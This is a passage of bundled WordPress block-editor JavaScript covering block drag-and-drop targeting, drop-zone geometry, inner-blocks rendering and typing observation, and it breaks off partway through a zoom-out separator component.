36940 const insertOrReplaceBlocks = (0,external_wp_element_namespaceObject.useCallback)(
36941 (blocks, updateSelection = true, initialPosition = 0, clientIdsToReplace = []) => {
36942 if (!Array.isArray(blocks)) {
36943 blocks = [blocks];
36944 }
36945 const clientIds = getBlockOrder(targetRootClientId);
36946 const clientId = clientIds[targetBlockIndex];
36947 if (operation === "replace") {
36948 replaceBlocks(clientId, blocks, void 0, initialPosition);
36949 } else if (operation === "group") {
36950 const targetBlock = getBlock(clientId);
36951 if (nearestSide === "left") {
36952 blocks.push(targetBlock);
36953 } else {
36954 blocks.unshift(targetBlock);
36955 }
36956 const groupInnerBlocks = blocks.map((block) => {
36957 return (0,external_wp_blocks_namespaceObject.createBlock)(
36958 block.name,
36959 block.attributes,
36960 block.innerBlocks
36961 );
36962 });
36963 const areAllImages = blocks.every((block) => {
36964 return block.name === "core/image";
36965 });
36966 const galleryBlock = canInsertBlockType(
36967 "core/gallery",
36968 targetRootClientId
36969 );
36970 const wrappedBlocks = (0,external_wp_blocks_namespaceObject.createBlock)(
36971 areAllImages && galleryBlock ? "core/gallery" : getGroupingBlockName(),
36972 {
36973 layout: {
36974 type: "flex",
36975 flexWrap: areAllImages && galleryBlock ? null : "nowrap"
36976 }
36977 },
36978 groupInnerBlocks
36979 );
36980 replaceBlocks(
36981 [clientId, ...clientIdsToReplace],
36982 wrappedBlocks,
36983 void 0,
36984 initialPosition
36985 );
36986 } else {
36987 insertBlocks(
36988 blocks,
36989 targetBlockIndex,
36990 targetRootClientId,
36991 updateSelection,
36992 initialPosition
36993 );
36994 }
36995 },
36996 [
36997 getBlockOrder,
36998 targetRootClientId,
36999 targetBlockIndex,
37000 operation,
37001 replaceBlocks,
37002 getBlock,
37003 nearestSide,
37004 canInsertBlockType,
37005 getGroupingBlockName,
37006 insertBlocks
37007 ]
37008 );
37009 const moveBlocks = (0,external_wp_element_namespaceObject.useCallback)(
37010 (sourceClientIds, sourceRootClientId, insertIndex) => {
37011 if (operation === "replace") {
37012 const sourceBlocks = getBlocksByClientId(sourceClientIds);
37013 const targetBlockClientIds = getBlockOrder(targetRootClientId);
37014 const targetBlockClientId = targetBlockClientIds[targetBlockIndex];
37015 registry.batch(() => {
37016 removeBlocks(sourceClientIds, false);
37017 replaceBlocks(
37018 targetBlockClientId,
37019 sourceBlocks,
37020 void 0,
37021 0
37022 );
37023 });
37024 } else {
37025 moveBlocksToPosition(
37026 sourceClientIds,
37027 sourceRootClientId,
37028 targetRootClientId,
37029 insertIndex
37030 );
37031 }
37032 },
37033 [
37034 operation,
37035 getBlockOrder,
37036 getBlocksByClientId,
37037 moveBlocksToPosition,
37038 registry,
37039 removeBlocks,
37040 replaceBlocks,
37041 targetBlockIndex,
37042 targetRootClientId
37043 ]
37044 );
37045 const _onDrop = onBlockDrop(
37046 targetRootClientId,
37047 targetBlockIndex,
37048 getBlockIndex,
37049 getClientIdsOfDescendants,
37050 moveBlocks,
37051 insertOrReplaceBlocks,
37052 clearSelectedBlock,
37053 operation,
37054 getBlock
37055 );
37056 const _onFilesDrop = onFilesDrop(
37057 targetRootClientId,
37058 getSettings,
37059 updateBlockAttributes,
37060 canInsertBlockType,
37061 insertOrReplaceBlocks
37062 );
37063 const _onHTMLDrop = onHTMLDrop(insertOrReplaceBlocks);
37064 return (event) => {
37065 const files = (0,external_wp_dom_namespaceObject.getFilesFromDataTransfer)(event.dataTransfer);
37066 const html = event.dataTransfer.getData("text/html");
37067 if (html) {
37068 _onHTMLDrop(html);
37069 } else if (files.length) {
37070 _onFilesDrop(files);
37071 } else {
37072 _onDrop(event);
37073 }
37074 };
37075}
37076
37077
37078;// ./node_modules/@wordpress/block-editor/build-module/utils/math.js
37079function getDistanceFromPointToEdge(point, rect, edge) {
37080 const isHorizontal = edge === "top" || edge === "bottom";
37081 const { x, y } = point;
37082 const pointLateralPosition = isHorizontal ? x : y;
37083 const pointForwardPosition = isHorizontal ? y : x;
37084 const edgeStart = isHorizontal ? rect.left : rect.top;
37085 const edgeEnd = isHorizontal ? rect.right : rect.bottom;
37086 const edgeForwardPosition = rect[edge];
37087 let edgeLateralPosition;
37088 if (pointLateralPosition >= edgeStart && pointLateralPosition <= edgeEnd) {
37089 edgeLateralPosition = pointLateralPosition;
37090 } else if (pointLateralPosition < edgeEnd) {
37091 edgeLateralPosition = edgeStart;
37092 } else {
37093 edgeLateralPosition = edgeEnd;
37094 }
37095 return Math.sqrt(
37096 (pointLateralPosition - edgeLateralPosition) ** 2 + (pointForwardPosition - edgeForwardPosition) ** 2
37097 );
37098}
37099function getDistanceToNearestEdge(point, rect, allowedEdges = ["top", "bottom", "left", "right"]) {
37100 let candidateDistance;
37101 let candidateEdge;
37102 allowedEdges.forEach((edge) => {
37103 const distance = getDistanceFromPointToEdge(point, rect, edge);
37104 if (candidateDistance === void 0 || distance < candidateDistance) {
37105 candidateDistance = distance;
37106 candidateEdge = edge;
37107 }
37108 });
37109 return [candidateDistance, candidateEdge];
37110}
37111function isPointContainedByRect(point, rect) {
37112 return rect.left <= point.x && rect.right >= point.x && rect.top <= point.y && rect.bottom >= point.y;
37113}
37114function isPointWithinTopAndBottomBoundariesOfRect(point, rect) {
37115 return rect.top <= point.y && rect.bottom >= point.y;
37116}
37117
37118
37119;// ./node_modules/@wordpress/block-editor/build-module/components/use-block-drop-zone/index.js
37120
37121
37122
37123
37124
37125
37126
37127
37128
37129const THRESHOLD_DISTANCE = 30;
37130const MINIMUM_HEIGHT_FOR_THRESHOLD = 120;
37131const MINIMUM_WIDTH_FOR_THRESHOLD = 120;
37132function getDropTargetPosition(blocksData, position, orientation = "vertical", options = {}) {
37133 const allowedEdges = orientation === "horizontal" ? ["left", "right"] : ["top", "bottom"];
37134 let nearestIndex = 0;
37135 let insertPosition = "before";
37136 let minDistance = Infinity;
37137 let targetBlockIndex = null;
37138 let nearestSide = "right";
37139 const {
37140 dropZoneElement,
37141 parentBlockOrientation,
37142 rootBlockIndex = 0
37143 } = options;
37144 if (dropZoneElement && parentBlockOrientation !== "horizontal") {
37145 const rect = dropZoneElement.getBoundingClientRect();
37146 const [distance, edge] = getDistanceToNearestEdge(position, rect, [
37147 "top",
37148 "bottom"
37149 ]);
37150 if (rect.height > MINIMUM_HEIGHT_FOR_THRESHOLD && distance < THRESHOLD_DISTANCE) {
37151 if (edge === "top") {
37152 return [rootBlockIndex, "before"];
37153 }
37154 if (edge === "bottom") {
37155 return [rootBlockIndex + 1, "after"];
37156 }
37157 }
37158 }
37159 const isRightToLeft = (0,external_wp_i18n_namespaceObject.isRTL)();
37160 if (dropZoneElement && parentBlockOrientation === "horizontal") {
37161 const rect = dropZoneElement.getBoundingClientRect();
37162 const [distance, edge] = getDistanceToNearestEdge(position, rect, [
37163 "left",
37164 "right"
37165 ]);
37166 if (rect.width > MINIMUM_WIDTH_FOR_THRESHOLD && distance < THRESHOLD_DISTANCE) {
37167 if (isRightToLeft && edge === "right" || !isRightToLeft && edge === "left") {
37168 return [rootBlockIndex, "before"];
37169 }
37170 if (isRightToLeft && edge === "left" || !isRightToLeft && edge === "right") {
37171 return [rootBlockIndex + 1, "after"];
37172 }
37173 }
37174 }
37175 blocksData.forEach(
37176 ({
37177 isUnmodifiedDefaultBlock,
37178 getBoundingClientRect,
37179 blockIndex,
37180 blockOrientation
37181 }) => {
37182 const rect = getBoundingClientRect();
37183 if (!rect) {
37184 return;
37185 }
37186 let [distance, edge] = getDistanceToNearestEdge(
37187 position,
37188 rect,
37189 allowedEdges
37190 );
37191 const [sideDistance, sideEdge] = getDistanceToNearestEdge(
37192 position,
37193 rect,
37194 ["left", "right"]
37195 );
37196 const isPointInsideRect = isPointContainedByRect(position, rect);
37197 if (isUnmodifiedDefaultBlock && isPointInsideRect) {
37198 distance = 0;
37199 } else if (orientation === "vertical" && blockOrientation !== "horizontal" && (isPointInsideRect && sideDistance < THRESHOLD_DISTANCE || !isPointInsideRect && isPointWithinTopAndBottomBoundariesOfRect(
37200 position,
37201 rect
37202 ))) {
37203 targetBlockIndex = blockIndex;
37204 nearestSide = sideEdge;
37205 }
37206 if (distance < minDistance) {
37207 insertPosition = edge === "bottom" || !isRightToLeft && edge === "right" || isRightToLeft && edge === "left" ? "after" : "before";
37208 minDistance = distance;
37209 nearestIndex = blockIndex;
37210 }
37211 }
37212 );
37213 const adjacentIndex = nearestIndex + (insertPosition === "after" ? 1 : -1);
37214 const isNearestBlockUnmodifiedDefaultBlock = !!blocksData[nearestIndex]?.isUnmodifiedDefaultBlock;
37215 const isAdjacentBlockUnmodifiedDefaultBlock = !!blocksData[adjacentIndex]?.isUnmodifiedDefaultBlock;
37216 if (targetBlockIndex !== null) {
37217 return [targetBlockIndex, "group", nearestSide];
37218 }
37219 if (!isNearestBlockUnmodifiedDefaultBlock && !isAdjacentBlockUnmodifiedDefaultBlock) {
37220 const insertionIndex = insertPosition === "after" ? nearestIndex + 1 : nearestIndex;
37221 return [insertionIndex, "insert"];
37222 }
37223 return [
37224 isNearestBlockUnmodifiedDefaultBlock ? nearestIndex : adjacentIndex,
37225 "replace"
37226 ];
37227}
37228function isDropTargetValid(getBlockType, allowedBlocks, draggedBlockNames, targetBlockName) {
37229 let areBlocksAllowed = true;
37230 if (allowedBlocks) {
37231 const allowedBlockNames = allowedBlocks?.map(({ name }) => name);
37232 areBlocksAllowed = draggedBlockNames.every(
37233 (name) => allowedBlockNames?.includes(name)
37234 );
37235 }
37236 const draggedBlockTypes = draggedBlockNames.map(
37237 (name) => getBlockType(name)
37238 );
37239 const targetMatchesDraggedBlockParents = draggedBlockTypes.every(
37240 (block) => {
37241 const [allowedParentName] = block?.parent || [];
37242 if (!allowedParentName) {
37243 return true;
37244 }
37245 return allowedParentName === targetBlockName;
37246 }
37247 );
37248 return areBlocksAllowed && targetMatchesDraggedBlockParents;
37249}
37250function isInsertionPoint(targetToCheck, ownerDocument) {
37251 const { defaultView } = ownerDocument;
37252 return !!(defaultView && targetToCheck instanceof defaultView.HTMLElement && targetToCheck.closest("[data-is-insertion-point]"));
37253}
37254function useBlockDropZone({
37255 dropZoneElement,
37256 // An undefined value represents a top-level block. Default to an empty
37257 // string for this so that `targetRootClientId` can be easily compared to
37258 // values returned by the `getRootBlockClientId` selector, which also uses
37259 // an empty string to represent top-level blocks.
37260 rootClientId: targetRootClientId = "",
37261 parentClientId: parentBlockClientId = "",
37262 isDisabled = false
37263} = {}) {
37264 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
37265 const [dropTarget, setDropTarget] = (0,external_wp_element_namespaceObject.useState)({
37266 index: null,
37267 operation: "insert"
37268 });
37269 const { getBlockType, getBlockVariations, getGroupingBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
37270 const {
37271 canInsertBlockType,
37272 getBlockListSettings,
37273 getBlocks,
37274 getBlockIndex,
37275 getDraggedBlockClientIds,
37276 getBlockNamesByClientId,
37277 getAllowedBlocks,
37278 isDragging,
37279 isGroupable,
37280 isZoomOut,
37281 getSectionRootClientId,
37282 getBlockParents
37283 } = unlock((0,external_wp_data_namespaceObject.useSelect)(store));
37284 const {
37285 showInsertionPoint,
37286 hideInsertionPoint,
37287 startDragging,
37288 stopDragging
37289 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
37290 const onBlockDrop = useOnBlockDrop(
37291 dropTarget.operation === "before" || dropTarget.operation === "after" ? parentBlockClientId : targetRootClientId,
37292 dropTarget.index,
37293 {
37294 operation: dropTarget.operation,
37295 nearestSide: dropTarget.nearestSide
37296 }
37297 );
37298 const throttled = (0,external_wp_compose_namespaceObject.useThrottle)(
37299 (0,external_wp_element_namespaceObject.useCallback)(
37300 (event, ownerDocument) => {
37301 if (!isDragging()) {
37302 startDragging();
37303 }
37304 const draggedBlockClientIds = getDraggedBlockClientIds();
37305 const targetParents = [
37306 targetRootClientId,
37307 ...getBlockParents(targetRootClientId, true)
37308 ];
37309 const isTargetWithinDraggedBlocks = draggedBlockClientIds.some(
37310 (clientId) => targetParents.includes(clientId)
37311 );
37312 if (isTargetWithinDraggedBlocks) {
37313 return;
37314 }
37315 const allowedBlocks = getAllowedBlocks(targetRootClientId);
37316 const targetBlockName = getBlockNamesByClientId([
37317 targetRootClientId
37318 ])[0];
37319 const draggedBlockNames = getBlockNamesByClientId(
37320 draggedBlockClientIds
37321 );
37322 const isBlockDroppingAllowed = isDropTargetValid(
37323 getBlockType,
37324 allowedBlocks,
37325 draggedBlockNames,
37326 targetBlockName
37327 );
37328 if (!isBlockDroppingAllowed) {
37329 return;
37330 }
37331 const sectionRootClientId = getSectionRootClientId();
37332 if (isZoomOut() && sectionRootClientId !== targetRootClientId) {
37333 return;
37334 }
37335 const blocks = getBlocks(targetRootClientId).filter((block) => {
37336 return !((0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, "visibility", true) && block.attributes?.metadata?.blockVisibility === false);
37337 });
37338 if (blocks.length === 0) {
37339 registry.batch(() => {
37340 setDropTarget({
37341 index: 0,
37342 operation: "insert"
37343 });
37344 showInsertionPoint(targetRootClientId, 0, {
37345 operation: "insert"
37346 });
37347 });
37348 return;
37349 }
37350 const blocksData = blocks.map((block) => {
37351 const clientId = block.clientId;
37352 return {
37353 isUnmodifiedDefaultBlock: (0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(block),
37354 getBoundingClientRect: () => {
37355 const blockElement = ownerDocument.getElementById(
37356 `block-${clientId}`
37357 );
37358 return blockElement ? blockElement.getBoundingClientRect() : null;
37359 },
37360 blockIndex: getBlockIndex(clientId),
37361 blockOrientation: getBlockListSettings(clientId)?.orientation
37362 };
37363 });
37364 const dropTargetPosition = getDropTargetPosition(
37365 blocksData,
37366 { x: event.clientX, y: event.clientY },
37367 getBlockListSettings(targetRootClientId)?.orientation,
37368 {
37369 dropZoneElement,
37370 parentBlockClientId,
37371 parentBlockOrientation: parentBlockClientId ? getBlockListSettings(parentBlockClientId)?.orientation : void 0,
37372 rootBlockIndex: getBlockIndex(targetRootClientId)
37373 }
37374 );
37375 const [targetIndex, operation, nearestSide] = dropTargetPosition;
37376 const isTargetIndexEmptyDefaultBlock = blocksData[targetIndex]?.isUnmodifiedDefaultBlock;
37377 if (isZoomOut() && !isTargetIndexEmptyDefaultBlock && operation !== "insert") {
37378 return;
37379 }
37380 if (operation === "group") {
37381 const targetBlock = blocks[targetIndex];
37382 const areAllImages = [
37383 targetBlock.name,
37384 ...draggedBlockNames
37385 ].every((name) => name === "core/image");
37386 const canInsertGalleryBlock = canInsertBlockType(
37387 "core/gallery",
37388 targetRootClientId
37389 );
37390 const areGroupableBlocks = isGroupable([
37391 targetBlock.clientId,
37392 getDraggedBlockClientIds()
37393 ]);
37394 const groupBlockVariations = getBlockVariations(
37395 getGroupingBlockName(),
37396 "block"
37397 );
37398 const canInsertRow = groupBlockVariations && groupBlockVariations.find(
37399 ({ name }) => name === "group-row"
37400 );
37401 if (areAllImages && !canInsertGalleryBlock && (!areGroupableBlocks || !canInsertRow)) {
37402 return;
37403 }
37404 if (!areAllImages && (!areGroupableBlocks || !canInsertRow)) {
37405 return;
37406 }
37407 }
37408 registry.batch(() => {
37409 setDropTarget({
37410 index: targetIndex,
37411 operation,
37412 nearestSide
37413 });
37414 const insertionPointClientId = [
37415 "before",
37416 "after"
37417 ].includes(operation) ? parentBlockClientId : targetRootClientId;
37418 showInsertionPoint(insertionPointClientId, targetIndex, {
37419 operation,
37420 nearestSide
37421 });
37422 });
37423 },
37424 [
37425 isDragging,
37426 getAllowedBlocks,
37427 targetRootClientId,
37428 getBlockNamesByClientId,
37429 getDraggedBlockClientIds,
37430 getBlockType,
37431 getSectionRootClientId,
37432 isZoomOut,
37433 getBlocks,
37434 getBlockListSettings,
37435 dropZoneElement,
37436 parentBlockClientId,
37437 getBlockIndex,
37438 registry,
37439 startDragging,
37440 showInsertionPoint,
37441 canInsertBlockType,
37442 isGroupable,
37443 getBlockVariations,
37444 getGroupingBlockName
37445 ]
37446 ),
37447 200
37448 );
37449 return (0,external_wp_compose_namespaceObject.__experimentalUseDropZone)({
37450 dropZoneElement,
37451 isDisabled,
37452 onDrop: onBlockDrop,
37453 onDragOver(event) {
37454 throttled(event, event.currentTarget.ownerDocument);
37455 },
37456 onDragLeave(event) {
37457 const { ownerDocument } = event.currentTarget;
37458 if (isInsertionPoint(event.relatedTarget, ownerDocument) || isInsertionPoint(event.target, ownerDocument)) {
37459 return;
37460 }
37461 throttled.cancel();
37462 hideInsertionPoint();
37463 },
37464 onDragEnd() {
37465 throttled.cancel();
37466 stopDragging();
37467 hideInsertionPoint();
37468 }
37469 });
37470}
37471
37472
37473;// ./node_modules/@wordpress/block-editor/build-module/components/inner-blocks/index.js
37474
37475
37476
37477
37478
37479
37480
37481
37482
37483
37484
37485
37486
37487
37488
37489
37490
37491
37492const inner_blocks_EMPTY_OBJECT = {};
37493function BlockContext({ children, clientId }) {
37494 const context = useBlockContext(clientId);
37495 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockContextProvider, { value: context, children });
37496}
37497const BlockListItemsMemo = (0,external_wp_element_namespaceObject.memo)(BlockListItems);
37498function UncontrolledInnerBlocks(props) {
37499 const {
37500 clientId,
37501 allowedBlocks,
37502 prioritizedInserterBlocks,
37503 defaultBlock,
37504 directInsert,
37505 __experimentalDefaultBlock,
37506 __experimentalDirectInsert,
37507 template,
37508 templateLock,
37509 wrapperRef,
37510 templateInsertUpdatesSelection,
37511 __experimentalCaptureToolbars: captureToolbars,
37512 __experimentalAppenderTagName,
37513 renderAppender,
37514 orientation,
37515 placeholder,
37516 layout,
37517 name,
37518 blockType,
37519 parentLock,
37520 defaultLayout
37521 } = props;
37522 useNestedSettingsUpdate(
37523 clientId,
37524 parentLock,
37525 allowedBlocks,
37526 prioritizedInserterBlocks,
37527 defaultBlock,
37528 directInsert,
37529 __experimentalDefaultBlock,
37530 __experimentalDirectInsert,
37531 templateLock,
37532 captureToolbars,
37533 orientation,
37534 layout
37535 );
37536 useInnerBlockTemplateSync(
37537 clientId,
37538 template,
37539 templateLock,
37540 templateInsertUpdatesSelection
37541 );
37542 const defaultLayoutBlockSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, "layout") || (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, "__experimentalLayout") || inner_blocks_EMPTY_OBJECT;
37543 const { allowSizingOnChildren = false } = defaultLayoutBlockSupport;
37544 const usedLayout = layout || defaultLayoutBlockSupport;
37545 const memoedLayout = (0,external_wp_element_namespaceObject.useMemo)(
37546 () => ({
37547 // Default layout will know about any content/wide size defined by the theme.
37548 ...defaultLayout,
37549 ...usedLayout,
37550 ...allowSizingOnChildren && {
37551 allowSizingOnChildren: true
37552 }
37553 }),
37554 [defaultLayout, usedLayout, allowSizingOnChildren]
37555 );
37556 const items = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37557 BlockListItemsMemo,
37558 {
37559 rootClientId: clientId,
37560 renderAppender,
37561 __experimentalAppenderTagName,
37562 layout: memoedLayout,
37563 wrapperRef,
37564 placeholder
37565 }
37566 );
37567 if (!blockType?.providesContext || Object.keys(blockType.providesContext).length === 0) {
37568 return items;
37569 }
37570 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockContext, { clientId, children: items });
37571}
37572function ControlledInnerBlocks(props) {
37573 useBlockSync(props);
37574 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(UncontrolledInnerBlocks, { ...props });
37575}
37576const ForwardedInnerBlocks = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
37577 const innerBlocksProps = useInnerBlocksProps({ ref }, props);
37578 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inner-blocks", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps }) });
37579});
37580function useInnerBlocksProps(props = {}, options = {}) {
37581 const {
37582 __unstableDisableLayoutClassNames,
37583 __unstableDisableDropZone,
37584 dropZoneElement
37585 } = options;
37586 const {
37587 clientId,
37588 layout = null,
37589 __unstableLayoutClassNames: layoutClassNames = ""
37590 } = useBlockEditContext();
37591 const selected = (0,external_wp_data_namespaceObject.useSelect)(
37592 (select) => {
37593 const {
37594 getBlockName,
37595 isZoomOut,
37596 getTemplateLock,
37597 getBlockRootClientId,
37598 getBlockEditingMode,
37599 getBlockSettings,
37600 getSectionRootClientId
37601 } = unlock(select(store));
37602 if (!clientId) {
37603 const sectionRootClientId = getSectionRootClientId();
37604 return {
37605 isDropZoneDisabled: isZoomOut() && sectionRootClientId !== ""
37606 };
37607 }
37608 const { hasBlockSupport, getBlockType } = select(external_wp_blocks_namespaceObject.store);
37609 const blockName = getBlockName(clientId);
37610 const blockEditingMode = getBlockEditingMode(clientId);
37611 const parentClientId2 = getBlockRootClientId(clientId);
37612 const [defaultLayout2] = getBlockSettings(clientId, "layout");
37613 let _isDropZoneDisabled = blockEditingMode === "disabled";
37614 if (isZoomOut()) {
37615 const sectionRootClientId = getSectionRootClientId();
37616 _isDropZoneDisabled = clientId !== sectionRootClientId;
37617 }
37618 return {
37619 __experimentalCaptureToolbars: hasBlockSupport(
37620 blockName,
37621 "__experimentalExposeControlsToChildren",
37622 false
37623 ),
37624 name: blockName,
37625 blockType: getBlockType(blockName),
37626 parentLock: getTemplateLock(parentClientId2),
37627 parentClientId: parentClientId2,
37628 isDropZoneDisabled: _isDropZoneDisabled,
37629 defaultLayout: defaultLayout2
37630 };
37631 },
37632 [clientId]
37633 );
37634 const {
37635 __experimentalCaptureToolbars,
37636 name,
37637 blockType,
37638 parentLock,
37639 parentClientId,
37640 isDropZoneDisabled,
37641 defaultLayout
37642 } = selected;
37643 const blockDropZoneRef = useBlockDropZone({
37644 dropZoneElement,
37645 rootClientId: clientId,
37646 parentClientId
37647 });
37648 const ref = (0,external_wp_compose_namespaceObject.useMergeRefs)([
37649 props.ref,
37650 __unstableDisableDropZone || isDropZoneDisabled || layout?.isManualPlacement && window.__experimentalEnableGridInteractivity ? null : blockDropZoneRef
37651 ]);
37652 const innerBlocksProps = {
37653 __experimentalCaptureToolbars,
37654 layout,
37655 name,
37656 blockType,
37657 parentLock,
37658 defaultLayout,
37659 ...options
37660 };
37661 const InnerBlocks = innerBlocksProps.value && innerBlocksProps.onChange ? ControlledInnerBlocks : UncontrolledInnerBlocks;
37662 return {
37663 ...props,
37664 ref,
37665 className: dist_clsx(
37666 props.className,
37667 "block-editor-block-list__layout",
37668 __unstableDisableLayoutClassNames ? "" : layoutClassNames
37669 ),
37670 children: clientId ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InnerBlocks, { ...innerBlocksProps, clientId }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockListItems, { ...options })
37671 };
37672}
37673useInnerBlocksProps.save = external_wp_blocks_namespaceObject.__unstableGetInnerBlocksProps;
37674ForwardedInnerBlocks.DefaultBlockAppender = default_block_appender_DefaultBlockAppender;
37675ForwardedInnerBlocks.ButtonBlockAppender = ButtonBlockAppender;
37676ForwardedInnerBlocks.Content = () => useInnerBlocksProps.save().children;
37677var inner_blocks_default = ForwardedInnerBlocks;
37678
37679
37680;// ./node_modules/@wordpress/block-editor/build-module/components/observe-typing/index.js
37681
37682
37683
37684
37685
37686
37687const KEY_DOWN_ELIGIBLE_KEY_CODES = /* @__PURE__ */ new Set([
37688 external_wp_keycodes_namespaceObject.UP,
37689 external_wp_keycodes_namespaceObject.RIGHT,
37690 external_wp_keycodes_namespaceObject.DOWN,
37691 external_wp_keycodes_namespaceObject.LEFT,
37692 external_wp_keycodes_namespaceObject.ENTER,
37693 external_wp_keycodes_namespaceObject.BACKSPACE
37694]);
37695function isKeyDownEligibleForStartTyping(event) {
37696 const { keyCode, shiftKey } = event;
37697 return !shiftKey && KEY_DOWN_ELIGIBLE_KEY_CODES.has(keyCode);
37698}
37699function useMouseMoveTypingReset() {
37700 const isTyping = (0,external_wp_data_namespaceObject.useSelect)(
37701 (select) => select(store).isTyping(),
37702 []
37703 );
37704 const { stopTyping } = (0,external_wp_data_namespaceObject.useDispatch)(store);
37705 return (0,external_wp_compose_namespaceObject.useRefEffect)(
37706 (node) => {
37707 if (!isTyping) {
37708 return;
37709 }
37710 const { ownerDocument } = node;
37711 let lastClientX;
37712 let lastClientY;
37713 function stopTypingOnMouseMove(event) {
37714 const { clientX, clientY } = event;
37715 if (lastClientX && lastClientY && (lastClientX !== clientX || lastClientY !== clientY)) {
37716 stopTyping();
37717 }
37718 lastClientX = clientX;
37719 lastClientY = clientY;
37720 }
37721 ownerDocument.addEventListener(
37722 "mousemove",
37723 stopTypingOnMouseMove
37724 );
37725 return () => {
37726 ownerDocument.removeEventListener(
37727 "mousemove",
37728 stopTypingOnMouseMove
37729 );
37730 };
37731 },
37732 [isTyping, stopTyping]
37733 );
37734}
37735function useTypingObserver() {
37736 const { isTyping } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
37737 const { isTyping: _isTyping } = select(store);
37738 return {
37739 isTyping: _isTyping()
37740 };
37741 }, []);
37742 const { startTyping, stopTyping } = (0,external_wp_data_namespaceObject.useDispatch)(store);
37743 const ref1 = useMouseMoveTypingReset();
37744 const ref2 = (0,external_wp_compose_namespaceObject.useRefEffect)(
37745 (node) => {
37746 const { ownerDocument } = node;
37747 const { defaultView } = ownerDocument;
37748 const selection = defaultView.getSelection();
37749 if (isTyping) {
37750 let stopTypingOnNonTextField2 = function(event) {
37751 const { target } = event;
37752 timerId = defaultView.setTimeout(() => {
37753 if (!(0,external_wp_dom_namespaceObject.isTextField)(target)) {
37754 stopTyping();
37755 }
37756 });
37757 }, stopTypingOnEscapeKey2 = function(event) {
37758 const { keyCode } = event;
37759 if (keyCode === external_wp_keycodes_namespaceObject.ESCAPE || keyCode === external_wp_keycodes_namespaceObject.TAB) {
37760 stopTyping();
37761 }
37762 }, stopTypingOnSelectionUncollapse2 = function() {
37763 if (!selection.isCollapsed) {
37764 stopTyping();
37765 }
37766 };
37767 var stopTypingOnNonTextField = stopTypingOnNonTextField2, stopTypingOnEscapeKey = stopTypingOnEscapeKey2, stopTypingOnSelectionUncollapse = stopTypingOnSelectionUncollapse2;
37768 let timerId;
37769 node.addEventListener("focus", stopTypingOnNonTextField2);
37770 node.addEventListener("keydown", stopTypingOnEscapeKey2);
37771 ownerDocument.addEventListener(
37772 "selectionchange",
37773 stopTypingOnSelectionUncollapse2
37774 );
37775 return () => {
37776 defaultView.clearTimeout(timerId);
37777 node.removeEventListener(
37778 "focus",
37779 stopTypingOnNonTextField2
37780 );
37781 node.removeEventListener(
37782 "keydown",
37783 stopTypingOnEscapeKey2
37784 );
37785 ownerDocument.removeEventListener(
37786 "selectionchange",
37787 stopTypingOnSelectionUncollapse2
37788 );
37789 };
37790 }
37791 function startTypingInTextField(event) {
37792 const { type, target } = event;
37793 if (!(0,external_wp_dom_namespaceObject.isTextField)(target) || !node.contains(target)) {
37794 return;
37795 }
37796 if (type === "keydown" && !isKeyDownEligibleForStartTyping(event)) {
37797 return;
37798 }
37799 startTyping();
37800 }
37801 node.addEventListener("keypress", startTypingInTextField);
37802 node.addEventListener("keydown", startTypingInTextField);
37803 return () => {
37804 node.removeEventListener("keypress", startTypingInTextField);
37805 node.removeEventListener("keydown", startTypingInTextField);
37806 };
37807 },
37808 [isTyping, startTyping, stopTyping]
37809 );
37810 return (0,external_wp_compose_namespaceObject.useMergeRefs)([ref1, ref2]);
37811}
37812function ObserveTyping({ children }) {
37813 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ref: useTypingObserver(), children });
37814}
37815var observe_typing_default = ObserveTyping;
37816
37817
37818;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/zoom-out-separator.js
37819
37820
37821
37822
37823
37824
37825
37826
37827
37828function ZoomOutSeparator({
37829 clientId,
37830 rootClientId = "",
37831 position = "top"
37832}) {
37833 const [isDraggedOver, setIsDraggedOver] = (0,external_wp_element_namespaceObject.useState)(false);
37834 const {
37835 sectionRootClientId,
37836 sectionClientIds,
37837 insertionPoint,
37838 blockInsertionPointVisible,
37839 blockInsertionPoint,
37840 blocksBeingDragged
37841 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
37842 const {
37843 getInsertionPoint,
37844 getBlockOrder,
37845 getSectionRootClientId,
37846 isBlockInsertionPointVisible,
37847 getBlockInsertionPoint,
37848 getDraggedBlockClientIds
37849 } = unlock(select(store));
37850 const root = getSectionRootClientId();
37851 const sectionRootClientIds = getBlockOrder(root);
37852 return {
37853 sectionRootClientId: root,
37854 sectionClientIds: sectionRootClientIds,
37855 insertionPoint: getInsertionPoint(),
37856 blockInsertionPoint: getBlockInsertionPoint(),
37857 blockInsertionPointVisible: isBlockInsertionPointVisible(),
37858 blocksBeingDragged: getDraggedBlockClientIds()
37859 };
37860 }, []);
37861 const isReducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
37862 if (!clientId) {
37863 return;
37864 }
37865 let isVisible = false;
37866 const isSectionBlock = rootClientId === sectionRootClientId && sectionClientIds && sectionClientIds.includes(clientId);
37867 if (!isSectionBlock) {
37868 return null;
37869 }
37870 const hasTopInsertionPoint = insertionPoint?.index === 0 && clientId === sectionClientIds[insertionPoint.index];
37871 const hasBottomInsertionPoint = insertionPoint && insertionPoint.hasOwnProperty("index") && clientId === sectionClientIds[insertionPoint.index - 1];
37872 if (position === "top") {
